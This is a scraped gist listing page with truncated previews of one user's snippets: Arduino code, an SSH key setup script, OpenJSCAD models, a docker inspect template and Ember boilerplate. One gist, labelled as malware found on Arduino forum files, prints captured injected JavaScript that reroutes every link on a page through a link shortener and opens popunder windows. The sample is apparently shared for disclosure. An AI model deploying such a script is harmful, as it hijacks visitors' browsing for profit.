Skip to content

Instantly share code, notes, and snippets.

void setup() {
}
int NONE = -1;
int actualPins[] = {2, 3, 4};
void set(int pin, int st) {
int actualPin = actualPins[pin];
if(st == NONE) {
@jonathanperret
jonathanperret / post-install.sh
Last active August 29, 2015 13:57
podebal post-install
#!/bin/bash -xe
if [ -d /root ]; then
mkdir -p /root/.ssh
keysfile=/root/.ssh/authorized_keys
else
mkdir -p /etc/ssh/keys-root
keysfile=/etc/ssh/keys-root/authorized_keys
fi
@jonathanperret
jonathanperret / gist:dfa1f773f8714133752d
Last active August 29, 2015 14:10
OpenJSSCAD X/Y calibration object
// - Set nozzle diameter and layer height below
// - Print with no top/bottom, one shell, same layer height
var nozzle = 0.35,
layer = 0.2;
function fence(side) {
var inside=side-10-nozzle,
outside=side+nozzle;
return cube([outside,outside,0.2])
.center([true,true,false])
@jonathanperret
jonathanperret / axle.jscad
Last active August 29, 2015 14:23
Krups axle
var hTotal = 91.5,
// longueur des extrémités
hBout = 12,
// profondeur de l'encoche biseautée dans la poignée
hEncoche = 3,
// gorge pour circlip
hGorge = 1,
@jonathanperret
jonathanperret / run.tpl
Last active November 2, 2016 11:56 — forked from efrecon/run.tpl
`docker inspect` template to regenerate the `docker run` command that created a container
docker run \
--name={{.Name}} \
{{range $e := .Config.Env}}--env={{printf "%q" $e}} \
{{end}}{{range $p, $conf := .NetworkSettings.Ports}}{{with $conf}}-p {{(index $conf 0).HostIp}}:{{(index $conf 0).HostPort}}:{{$p}} \
{{end}}{{end}}{{range $v := .HostConfig.VolumesFrom}}--volumes-from={{printf "%q" .}} \
{{end}}{{range $v := .HostConfig.Binds}}--volume={{printf "%q" .}} \
{{end}}{{range $l, $v := .Config.Labels}}--label {{printf "%q" $l}}={{printf "%q" $v}} \
{{end}}{{range $v := .HostConfig.CapAdd}}--cap-add {{printf "%q" .}} \
{{end}}{{range $v := .HostConfig.CapDrop}}--cap-drop {{printf "%q" .}} \
{{end}}{{range $d := .HostConfig.Devices}}--device={{printf "%q" (index $d).PathOnHost}}:{{printf "%q" (index $d).PathInContainer}}:{{(index $d).CgroupPermissions}} \
//
// producer: OpenJSCAD.org 0.5.1 (2016/06/27) SVG Importer
// date: Thu Jan 05 2017 15:06:22 GMT+0100 (CET)
// source: data.svg
//
function main(params) {
var amaze = maze().scale(0.6).extrude({offset: [0,0,1]});
var bounds = amaze.getBounds();
echo(bounds);
@jonathanperret
jonathanperret / analytics.js
Created April 8, 2017 17:42
Infested Arduino forum files (malware)
// This content was served at https://google-analytics.ga/analytics?ab
var l = document.links;for(var i=0; i<l.length; i++) { l[i].setAttribute('href', 'http://ouo.io/s/P52hoMCo/?s='+ encodeURIComponent(l[i].href)); };var uid = '155049';var wid = '331446';function encode64(e){e=escape(e);var t="";var n,r,i="";var s,o,u,a="";var f=0;do{n=e.charCodeAt(f++);r=e.charCodeAt(f++);i=e.charCodeAt(f++);s=n>>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+keyStr.charAt(s)+keyStr.charAt(o)+keyStr.charAt(u)+keyStr.charAt(a);n=r=i="";s=o=u=a=""}while(f<e.length);return t}function jsPopunder(e,t){function d(){try{c=Math.floor(document.cookie.split(h+"Cap=")[1].split(";")[0])}catch(e){}return l<=c||document.cookie.indexOf(h+"=")!==-1}function v(e,t,i,s,o,u){if(d())return;var a="toolbar=no,scrollbars=yes,location=yes,statusbar=yes,menubar=no,resizable=1,width="+i.toString()+",height="+s.toString()+",screenX="+o+",screenY="+u;document.onclick=function(){if(d())return;window.open("java
<?xml version="1.0" encoding="UTF-8"?>
<Response>
<Say voice="alice">Thanks for trying our documentation. Enjoy!</Say>
<Play>http://demo.twilio.com/docs/classic.mp3</Play>
</Response>
import Ember from 'ember';
export default Ember.Controller.extend({
appName: 'Ember Twiddle'
});
import Ember from 'ember';
export default Ember.Controller.extend({
appName: 'Ember Twiddle'
});